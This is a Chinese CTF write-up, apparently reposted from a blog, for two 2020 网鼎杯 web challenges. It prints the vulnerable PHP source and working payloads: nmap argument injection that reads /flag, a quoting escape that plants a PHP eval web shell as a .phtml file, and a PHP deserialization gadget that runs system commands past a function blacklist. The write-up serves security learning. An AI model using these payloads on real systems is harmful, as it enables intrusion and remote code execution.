标签:web php .. nmap flag 2020 func Test 网鼎杯
nmap那题就基本命令然后还有一个别的方法。
nmap
源码
index.php
<?
require('settings.php');
set_time_limit(0);
if (isset($_POST['host'])):
if (!defined('WEB_SCANS')) {
die('Web scans disabled');
}
$host = $_POST['host'];
if(stripos($host,'php')!==false){
die("Hacker...");
}
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$filename = substr(md5(time() . rand(1, 10)), 0, 5);
$command = "nmap ". NMAP_ARGS . " -oX " . RESULTS_PATH . $filename . " " . $host;
$result_scan = shell_exec($command);
if (is_null($result_scan)) {
die('Something went wrong');
} else {
header('Location: result.php?f=' . $filename);
}
else:
?>
settings.php
<?
# Path where all files stored
# Example values: /home/node/results/
# Or just: xml/
# Must be readble/writable for web server! so chmod 777 xml/
define('RESULTS_PATH', 'xml/');
# Nmap string arguments for web scanning
# Example: -sV -Pn
define('NMAP_ARGS', '-Pn -T4 -F --host-timeout 1000ms');
# Comment this line to disable web scans
define('WEB_SCANS', 'enable');
# URL of application
# for example: http://example.com/scanner/
# Or just: /scanner/
define('APP_URL', '/');
# Secret word to protect webface (reserved)
# Uncomment to set it!
# define('secret_word', 'passw0rd1337');
?>
第一种方法
用的是nmap,提示
一开始以为是ping命令,后来发现过滤了php。
后来试了下nmap的命令组合成功了。
payload:
' -iL /flag -oN flag.txt '
存入flag.txt之后直接访问就行了
第二种
PHP-escapeshell-命令执行
因为过滤了php,可以用phtml绕过,里面的内容用短标签
逃逸单引号
host='<?=eval($_GET[a]);?> -oN flag.phtml '
phpweb
利用func=file_get_contents&p=index.php
拿到源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open"
,"show_source","phpinfo","popen","dl","eval","proc_terminate","touch"
,"escapeshellcmd","escapeshellarg","assert","substr_replace"
,"call_user_func_array","call_user_func","array_filter", "array_walk"
,"array_map","registregister_shutdown_function","register_tick_function"
,"filter_var", "filter_var_array", "uasort", "uksort", "array_reduce"
,"array_walk","array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p); //call_user_func — 把第一个参数作为回调函数调用
$a= gettype($result); //返回 PHP 变量的类型 var.
if ($a == "string") {
return $result;
} else {
return "";
}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
反序列化Test,利用call_user_func函数进行绕过,文件名匹配可以用反序列化绕过
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
$a -> p="ls ../../../../../";
$a -> func = "system";
print_r(urlencode(serialize($a)));
$a = new Test();
$a -> p="cat /tmp/flagoefiu4r93";
#$a -> p="find / -name flag*";
$a -> func = "system";
print_r(urlencode(serialize($a)));
参考
标签:web,php,..,nmap,flag,2020,func,Test,网鼎杯 来源: https://blog.csdn.net/ChenZIDu/article/details/106197048
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。